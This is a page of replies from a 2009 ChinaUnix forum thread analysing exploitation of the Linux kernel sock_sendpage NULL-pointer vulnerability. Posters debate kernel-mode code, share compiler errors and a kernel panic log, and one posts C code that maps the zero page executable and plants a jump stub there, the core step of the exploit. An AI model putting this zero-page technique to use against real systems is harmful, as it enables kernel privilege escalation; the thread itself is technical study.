免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
楼主: 独孤九贱

新爆内核高危漏洞sock_sendpage的利用分析的讨论 [复制链接]

论坛徽章:
0
发表于 2009-08-26 15:18 |显示全部楼层
实际上之前我还发过一个exploit的例子,里面是return int的。这个kernel_code()最后返回会到调用send_page()的地方。

但是,现在还有一个问题,就是之前说的问题,kernel_code()中调用C库中的memcpy()的问题,这个问题该如何解释?

论坛徽章:
0
发表于 2009-08-26 16:26 |显示全部楼层

回复 #51 CUDev 的帖子

呵呵,我还是觉得在kernel_code()函数中调用C库的函数是可以的~

本来打算验证一下的,上次做了一下实验,ubuntu直接就整个挂起了(屏幕定格、无任何响应),也不知道是什么问题。 感觉在PC上做这种事情实在太恶心…… 以前都是在嵌入式开发版上搞的,随便折腾。可惜现在没这个环境了……

也希望哪位朋友有兴趣的话验证一下,给个结论~ 呵呵

论坛徽章:
0
发表于 2009-08-26 23:09 |显示全部楼层
Robert Love的LKD中:
与用户空间的应用程序不同,内核是不能链接使用标准C函数库(其他的那些库也不行)。造成这种情况的原因有很多,其中就包括先有鸡还是先有蛋的这个悖论。不过最主要的原因在于速度和大小。对于内核来讲,完整的C库太大了------即便是从中抽取出一个合适的子集------大小和效率都不能被接收。


像printf这样的库函数,应该是不能在Kernel中直接call的。但是其他一些函数,它们的实现不进行系统调用,有些理论上是可以的。但是,在动态编译的时候,想memset()这样的地址是如何搞定的呢?难道加载器在内核态运行,解析符号地址?

论坛徽章:
0
发表于 2009-08-27 13:51 |显示全部楼层
这个代码在64位系统下编不过啊。。汇编器报错了

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2009-08-27 14:20 |显示全部楼层
原帖由 cugb_cat 于 2009-8-27 13:51 发表
这个代码在64位系统下编不过啊。。汇编器报错了


cat把错误信息贴出来,以便熟悉汇编的朋友给出解释。。

论坛徽章:
0
发表于 2009-08-27 14:23 |显示全部楼层
原帖由 Godbach 于 2009-8-27 14:20 发表


cat把错误信息贴出来,以便熟悉汇编的朋友给出解释。。

  1. mqq@208_96:/tmp> ./run.sh
  2. /tmp/ccXvMmLd.s: Assembler messages:
  3. /tmp/ccXvMmLd.s:12: Error: Incorrect register `%rax' used with `l' suffix
  4. /tmp/ccXvMmLd.s:120: Error: Incorrect register `%rdx' used with `l' suffix
  5. /tmp/ccXvMmLd.s:120: Error: Incorrect register `%rax' used with `l' suffix
复制代码


  1. mqq@208_96:/tmp> uname -a
  2. Linux 208_96 2.6.16.60-0.21-******64-090415 #7 SMP Wed Apr 15 09:25:02 CST 2009 x86_64 x86_64 x86_64 GNU/Linux
复制代码


  1. mqq@208_96:/tmp> gcc -v
  2. Using built-in specs.
  3. Target: x86_64-suse-linux
  4. Configured with: ../configure --enable-threads=posix --prefix=/usr --with-local-prefix=/usr/local --infodir=/usr/share/info --mandir=/usr/share/man --libdir=/usr/lib64 --libexecdir=/usr/lib64 --enable-languages=c,c++,objc,fortran,obj-c++,java,ada --enable-checking=release --with-gxx-include-dir=/usr/include/c++/4.1.2 --enable-ssp --disable-libssp --disable-libgcj --with-slibdir=/lib64 --with-system-zlib --enable-shared --enable-__cxa_atexit --enable-libstdcxx-allocator=new --program-suffix= --enable-version-specific-runtime-libs --without-system-libunwind --with-cpu=generic --host=x86_64-suse-linux
  5. Thread model: posix
  6. gcc version 4.1.2 20070115 (prerelease) (SUSE Linux)
复制代码

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
发表于 2009-08-27 14:28 |显示全部楼层
能不能将32位上编译出来的那个可执行文件直接放在64位上试一下?

论坛徽章:
0
发表于 2009-08-27 14:53 |显示全部楼层
原帖由 Godbach 于 2009-8-27 14:28 发表
能不能将32位上编译出来的那个可执行文件直接放在64位上试一下?

mmap出错。。。
但是这个代码在64位系统上编译后,是可以成功的:

  1. #include <stdio.h>
  2. #include <sys/personality.h>
  3. #include <sys/mman.h>

  4. typedef void test();

  5. void testfn()
  6. {
  7.         printf("testfn success\n");
  8. }

  9. int main(int argc, char **argv)
  10. {
  11.         void *mem;
  12.         //personality(PER_SVR4);
  13.         if ((personality(0xffffffff)) != PER_SVR4) {
  14.                 mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  15.                 if (mem != NULL) {
  16.                         /* for old kernels with SELinux that don't allow RWX anonymous mappings
  17.                            luckily they don't have NX support either ;) */
  18.                         mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  19.                         if (mem != NULL) {
  20.                                 fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
  21.                                 return 1;
  22.                         }
  23.                 }
  24.         } else {
  25.                 int ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
  26.                 if (ret == -1) {
  27.                         fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
  28.                         return 1;
  29.                 }
  30.         }
  31.         printf("success\n");
  32.         *(char *)0 = '\x90';
  33.         *(char *)1 = '\xe9';
  34.         *(unsigned long *)2 = (unsigned long)&testfn - 6;
  35.         ((test *)0)();
  36.         return 0;
  37. }
复制代码

论坛徽章:
1
寅虎
日期:2014-11-30 21:25:54
发表于 2009-08-28 16:45 |显示全部楼层
大家测试要小心了 刚把公司一个8 cpu的服务嚣搞挂掉了

  1. $ uname -a
  2. Linux RD 2.6.9-78.ELsmp #1 SMP Wed Jul 9 15:39:47 EDT 2008 i686 i686 i386 GNU/Linux
  3. $ cat /proc/cpuinfo
  4. ...
  5. processor       : 7
  6. vendor_id       : GenuineIntel
  7. cpu family      : 6
  8. model           : 23
  9. model name      : Intel(R) Xeon(R) CPU           E5405  @ 2.00GHz
  10. stepping        : 10
  11. cpu MHz         : 2000.129
  12. cache size      : 6144 KB
  13. physical id     : 1
  14. siblings        : 4
  15. core id         : 7
  16. cpu cores       : 4
  17. fdiv_bug        : no
  18. hlt_bug         : no
  19. f00f_bug        : no
  20. coma_bug        : no
  21. fpu             : yes
  22. fpu_exception   : yes
  23. cpuid level     : 13
  24. wp              : yes
  25. flags           : fpu vme de pse tsc msr pae mce cx8 apic mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe lm constant_tsc pni monitor ds_cpl tm2 xtpr
  26. bogomips        : 4000.12
复制代码

Aug 28 14:50:19 RD kernel: CSLIP: code copyright 1989 Regents of the University of California
Aug 28 14:50:19 RD kernel: PPP generic driver version 2.4.2
Aug 28 14:50:19 RD kernel: NET: Registered protocol family 24
Aug 28 14:50:19 RD kernel: Unable to handle kernel paging request at virtual address 0000a206
Aug 28 14:50:19 RD kernel:  printing eip:
Aug 28 14:50:19 RD kernel: 08048803
Aug 28 14:50:19 RD kernel: *pde = 36847001
Aug 28 14:50:19 RD kernel: Oops: 0000 [#1]
Aug 28 14:50:19 RD kernel: SMP
Aug 28 14:50:19 RD kernel: Modules linked in: pppoe pppox ppp_generic slhc parport_pc lp parport autofs4 i2c_dev i2c_core sunrpc cpufreq_powersave ib_srp ib_sdp ib_ipoib rdma_ucm rdma_cm iw_cm ib_addr ib_umad ib_ucm ib_uverbs ib_cm ib_sa ib_mad ib_core dm_mirror dm_multipath dm_mod button battery ac md5 ipv6 joydev ehci_hcd uhci_hcd i5000_edac edac_mc hw_random bnx2 ext3 jbd ata_piix libata cciss sd_mod scsi_mod
Aug 28 14:50:19 RD kernel: CPU:    0
Aug 28 14:50:19 RD kernel: EIP:    0060:[<08048803>]    Not tainted VLI
Aug 28 14:50:19 RD kernel: EFLAGS: 00010293   (2.6.9-78.ELsmp)
Aug 28 14:50:19 RD kernel: EIP is at 0x8048803
Aug 28 14:50:19 RD kernel: eax: 0000a206   ebx: f8d084a0   ecx: 00000000   edx: c17e3f60
Aug 28 14:50:19 RD kernel: esi: d495ec80   edi: e9665f50   ebp: e9665e88   esp: e9665e74
Aug 28 14:50:19 RD kernel: ds: 007b   es: 007b   ss: 0068
Aug 28 14:50:19 RD kernel: Process exploit (pid: 4292, threadinfo=e9665000 task=d576c1f0)
Aug 28 14:50:19 RD kernel: Stack: 0000a206 0000a206 0000a206 00000000 f8d084a0 00001000 c028378a 00001000
Aug 28 14:50:19 RD kernel:        00000000 c035d420 00001000 c01420cb 00001000 f57fc0e4 00000000 c035d420
Aug 28 14:50:20 RD kernel:        00000000 c17e3f60 00000000 00000000 c0141a97 00001000 fffcfc50 00001000
Aug 28 14:50:20 RD kernel: Call Trace:
Aug 28 14:50:20 RD kernel:  [<c028378a>] sock_sendpage+0x37/0x3c
Aug 28 14:50:20 RD kernel:  [<c01420cb>] file_send_actor+0x30/0x49
Aug 28 14:50:20 RD kernel:  [<c0141a97>] do_generic_mapping_read+0x1b2/0x445
Aug 28 14:50:20 RD kernel:  [<c0174b9e>] notify_change+0x25e/0x268
Aug 28 14:50:20 RD kernel:  [<c0142128>] generic_file_sendfile+0x44/0x57
Aug 28 14:50:20 RD kernel:  [<c014209b>] file_send_actor+0x0/0x49
Aug 28 14:50:20 RD kernel:  [<c015d034>] do_sendfile+0x24a/0x290
Aug 28 14:50:20 RD kernel:  [<c014209b>] file_send_actor+0x0/0x49
Aug 28 14:50:20 RD kernel:  [<c015d122>] sys_sendfile+0xa8/0xb4
Aug 28 14:50:20 RD kernel:  [<c02e09db>] syscall_call+0x7/0xb
Aug 28 14:50:20 RD kernel: Code:  Bad EIP value.
Aug 28 14:50:20 RD kernel:  <0>Fatal exception: panic in 5 seconds
Aug 28 16:29:14 RD syslogd 1.4.1: restart.
Aug 28 16:29:14 RD syslog: syslogd startup succeeded

[ 本帖最后由 vbs100 于 2009-8-28 16:53 编辑 ]

论坛徽章:
0
发表于 2009-09-08 14:14 |显示全部楼层

回复 #12 bobozhang 的帖子

为什么说eip在执行jmp时的值是6呢
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP